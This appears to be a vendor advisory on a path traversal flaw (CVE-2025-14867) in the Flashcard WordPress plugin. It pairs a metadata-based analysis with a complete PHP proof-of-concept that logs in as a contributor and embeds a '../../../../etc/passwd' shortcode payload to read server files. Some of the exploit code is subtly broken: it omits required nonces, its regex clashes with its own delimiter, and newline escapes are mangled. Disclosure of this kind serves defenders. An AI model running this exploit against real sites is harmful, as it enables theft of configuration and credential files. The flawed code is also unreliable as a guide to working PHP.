Atomic Edge analysis of CVE-2025-14867 (metadata-based):
The Flashcard plugin for WordPress version 0.9 contains an authenticated path traversal vulnerability. Attackers with contributor-level access or higher can exploit the ‘source’ attribute within the plugin’s ‘flashcard’ shortcode to read arbitrary files from the server.
Atomic Edge research identifies the root cause as improper path validation. The plugin likely passes user-supplied input from the shortcode attribute directly to a file system operation, such as file_get_contents() or include(), without sanitization. This inference is based on the CWE-22 classification and the vulnerability description. The code does not restrict the file path to an intended directory, allowing directory traversal sequences like ‘../’.
Exploitation occurs through WordPress’s shortcode processing. An authenticated attacker with the contributor role or higher can create or edit a post. They embed the vulnerable shortcode with a malicious ‘source’ attribute. A payload like [flashcard source=”../../../../etc/passwd”] would cause the plugin to read the specified file. The plugin then outputs the file’s contents within the post content when rendered.
Remediation requires implementing proper path validation and sanitization. The plugin must validate that the user-supplied path resolves within an allowed directory, such as the plugin’s own assets folder. Techniques include using basename() to strip directory components, realpath() to resolve symlinks, and checking if the canonical path starts with the allowed base directory. Input should also be validated against a whitelist of expected file names if possible.
Successful exploitation leads to arbitrary file read. Attackers can access sensitive configuration files (e.g., wp-config.php), log files, or other system files containing credentials or environment data. This information disclosure can facilitate further attacks, such as database compromise or site takeover. The CVSS vector scores this as a high confidentiality impact with no effect on integrity or availability.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14867 - Flashcard Plugin for WordPress <= 0.9 - Authenticated (Contributor+) Arbitrary File Read via Path Traversal
<?php
// Configuration
$target_url = 'http://target-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
$file_to_read = '../../../../etc/passwd'; // Target file path using traversal
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Check for login success by looking for dashboard elements
if (strpos($login_response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Create a new post with the malicious shortcode
$post_data = array(
'post_title' => 'Test Exploit Post',
'post_content' => '[flashcard source="' . $file_to_read . '"]', // Exploit payload
'post_status' => 'draft',
'post_type' => 'post'
);
// Submit the post via wp-admin/post-new.php or REST API.
// This PoC uses the admin POST handler as a common pattern.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$post_response = curl_exec($ch);
// Extract the post ID from the response (simplified assumption).
// In a real scenario, you would parse the redirect location or response.
// For demonstration, we assume the post was created and we can view it.
// A more robust PoC would use the REST API to create the post and get its ID.
// Instead, this PoC directly tests the shortcode by calling a test page.
// Create a temporary test page via the REST API for cleaner demonstration.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
$api_response = curl_exec($ch);
$response_data = json_decode($api_response, true);
if (isset($response_data['id'])) {
$post_id = $response_data['id'];
// Fetch the post to trigger shortcode processing and display file contents
curl_setopt($ch, CURLOPT_URL, $target_url . '/?p=' . $post_id);
curl_setopt($ch, CURLOPT_HTTPGET, 1);
$final_response = curl_exec($ch);
// Extract and output potential file contents
// Look for content outside normal post structure as a simple indicator
preg_match('/<div class="flashcard-content">(.*?)</div>/s', $final_response, $matches);
if (!empty($matches[1])) {
echo "Potential file contents found:n";
echo htmlspecialchars($matches[1]);
} else {
echo "Check page source for leaked file data. Raw response saved.n";
file_put_contents('response.html', $final_response);
}
} else {
echo "Failed to create test post via API.n";
}
curl_close($ch);
?>
